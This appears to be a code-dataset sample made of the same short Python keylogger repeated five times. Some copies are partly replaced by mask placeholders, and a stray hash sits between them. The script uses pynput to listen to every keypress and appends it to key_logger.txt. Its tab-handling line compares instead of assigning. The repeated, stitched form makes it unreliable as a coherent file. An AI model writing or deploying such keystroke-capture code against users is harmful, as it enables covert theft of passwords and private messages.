from pynput.keyboard import Listener
def keypress(key):
    key = str(key).replace("'","")

    if key == 'Key.space':
        key = " "
    if key == 'Key.enter':
        key = "\n"
    if key =='Key.shift_r' or key == 'Key.shift':
        key = "SHIFT"
    if key =='Key.tab':
        key == "\t"
    with open("key_logger.txt",'a') as f:
        f.write(key)

with Listener(on_press =keypress)as l:
    l.join()


9344422755d15fb3bbc33df1bf010e5c033650b4
<mask token>

<mask token>


def keypress(key):
    key = str(key).replace("'", '')
    if key == 'Key.space':
        key = ' '
    if key == 'Key.enter':
        key = '\n'
    if key == 'Key.shift_r' or key == 'Key.shift':
        key = 'SHIFT'
    if key == 'Key.tab':
        key == '\t'
    with open('key_logger.txt', 'a') as f:
        f.write(key)


<mask token>

<mask token>


def keypress(key):
    key = str(key).replace("'", '')
    if key == 'Key.space':
        key = ' '
    if key == 'Key.enter':
        key = '\n'
    if key == 'Key.shift_r' or key == 'Key.shift':
        key = 'SHIFT'
    if key == 'Key.tab':
        key == '\t'
    with open('key_logger.txt', 'a') as f:
        f.write(key)


with Listener(on_press=keypress) as l:
    l.join()

from pynput.keyboard import Listener


def keypress(key):
    key = str(key).replace("'", '')
    if key == 'Key.space':
        key = ' '
    if key == 'Key.enter':
        key = '\n'
    if key == 'Key.shift_r' or key == 'Key.shift':
        key = 'SHIFT'
    if key == 'Key.tab':
        key == '\t'
    with open('key_logger.txt', 'a') as f:
        f.write(key)


with Listener(on_press=keypress) as l:
    l.join()

from pynput.keyboard import Listener
def keypress(key):
    key = str(key).replace("'","")

    if key == 'Key.space':
        key = " "
    if key == 'Key.enter':
        key = "\n"
    if key =='Key.shift_r' or key == 'Key.shift':
        key = "SHIFT"
    if key =='Key.tab':
        key == "\t"
    with open("key_logger.txt",'a') as f:
        f.write(key)

with Listener(on_press =keypress)as l:
    l.join()

